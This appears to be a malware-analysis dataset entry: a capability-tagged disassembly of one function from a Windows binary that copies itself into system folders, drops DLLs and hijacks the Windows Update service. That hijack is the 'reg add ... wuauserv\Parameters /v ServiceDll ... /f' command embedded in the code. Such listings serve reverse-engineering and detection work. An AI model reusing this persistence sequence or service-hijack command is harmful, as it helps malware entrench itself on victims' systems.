Function at 0x4042cd
Capabilities:
Copy file
Get common file path
Query or enumerate registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40ddc0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x9ac
push 0x104
lea eax, [ebp - 0x72c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push 1
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x104
lea ecx, [ebp - 0x628]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 1
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x104
lea edx, [ebp - 0x830]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 1
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x628]
push eax
push str._sxvid.dll
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea edx, [ebp - 0x110]
push edx
call fcn.00401f51
add esp, 4
test eax, eax
jne 0x404392
push 0x1000
lea eax, [ebp - 0x110]
push eax
push 0x411150
call fcn.00404193
add esp, 0xc
lea ecx, [ebp - 0x110]
push ecx
call fcn.00401777
add esp, 4
push 1
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x41103c
lea edx, [ebp - 0x628]
push edx
push 0x4153b0
lea eax, [ebp - 0x520]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
push 1
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x41104c
lea ecx, [ebp - 0x72c]
push ecx
push str._s_s
lea edx, [ebp - 0x41c]
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
push 1
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
lea eax, [ebp - 0x41c]
push eax
lea ecx, [ebp - 0x520]
push ecx
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea edx, [ebp - 0x41c]
push edx
call fcn.00401f51
add esp, 4
test eax, eax
je 0x404424
lea eax, [ebp - 0x41c]
push eax
call fcn.00401777
add esp, 4
call fcn.004056f4
cmp eax, 1
jne 0x40444e
push 1
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
lea ecx, [ebp - 0x520]
push ecx
lea edx, [ebp - 0x830]
push edx
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
jmp 0x40445d
lea eax, [ebp - 0x520]
push eax
call fcn.00401777
add esp, 4
lea ecx, [ebp - 0x524]
push ecx
push 1
push 0
push str.3_47_2____t
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4044aa
mov dword [ebp - 0x9a4], 0x104
lea edx, [ebp - 0x9a4]
push edx
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x41110c
mov ecx, dword [ebp - 0x524]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x524]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x411064
lea eax, [ebp - 0x214]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
push 0
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0x830]
push edx
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea eax, [ebp - 0x214]
push eax
call fcn.00401777
add esp, 4
call fcn.0040c250
push eax
lea ecx, [ebp - 0x9a0]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0x4153c0
lea edx, [ebp - 0x9a0]
push edx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
jne 0x40453e
lea eax, [ebp - 0x214]
push eax
push 0x4153c4
push 0x4110b0
push SysReAllocString
call fcn.00401afd
add esp, 0x10
jmp 0x40455c
lea ecx, [ebp - 0x214]
push ecx
push str.system
push 0x4110b0
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00401afd
add esp, 0x10
push 0x104
lea edx, [ebp - 0x72c]
push edx
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push str._systemwuauserv.dll
lea eax, [ebp - 0x72c]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x1a00
lea ecx, [ebp - 0x72c]
push ecx
push 0x413190
call fcn.00404193
add esp, 0xc
lea edx, [ebp - 0x72c]
push edx
call fcn.00401777
add esp, 4
push str.reg_add_HKLMSYSTEMCurrentControlSetServiceswuauservParameters__v_ServiceDll__t_REG_EXPAND_SZ__d__WINDIR__systemwuauserv.dll__f
call fcn.00401e48
add esp, 4
call dword [sym.imp.KERNEL32.DLL_GetVersion]
test eax, eax
jge 0x4045cd
mov dword [0x41b028], 1
jmp 0x4045d7
mov dword [0x41b028], 0
cmp dword [0x41b028], 0
jne 0x4045ef
call fcn.0040207d
push 1
call fcn.004025e0
add esp, 4
call fcn.00404204
push 0x104
lea eax, [ebp - 0x93c]
push eax
lea ecx, [ebp - 0x830]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetShortPathNameA]
lea edx, [ebp - 0x93c]
push edx
lea eax, [ebp - 0x214]
push eax
push str._s__s
lea ecx, [ebp - 0x830]
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
push 0
call fcn.00403377
add esp, 4
mov edx, dword [str._u.php]
mov dword [ebp - 0x838], edx
mov ax, word [0x415480]
mov word [ebp - 0x834], ax
mov cl, byte [0x415482]
mov byte [ebp - 0x832], cl
lea edx, [ebp - 0x838]
push edx
push 0xff
mov ecx, 0x4173c0
call sub.MFC42.DLL_CString::GetBuffer
push eax
mov eax, dword [0x4173c8]
push eax
push 0x415484
lea ecx, [ebp - 0x318]
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
push ecx
mov ecx, esp
mov dword [ebp - 0x9a8], esp
push str.f.tmp
call sub.MFC42.DLL_CString::CString_1
mov dword [ebp - 0x9b0], eax
mov edx, dword [ebp - 0x9b0]
mov dword [ebp - 0x9b4], edx
mov dword [ebp - 4], 0
push ecx
mov ecx, esp
mov dword [ebp - 0x9ac], esp
lea eax, [ebp - 0x318]
push eax
call sub.MFC42.DLL_CString::CString_1
mov dword [ebp - 0x9b8], eax
mov dword [ebp - 4], 0xffffffff
call fcn.0040be1c
add esp, 8
lea ecx, [ebp - 0x830]
push ecx
call fcn.00401e48
add esp, 4
push 0
call dword [sym.imp.MSVCRT.dll_exit]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret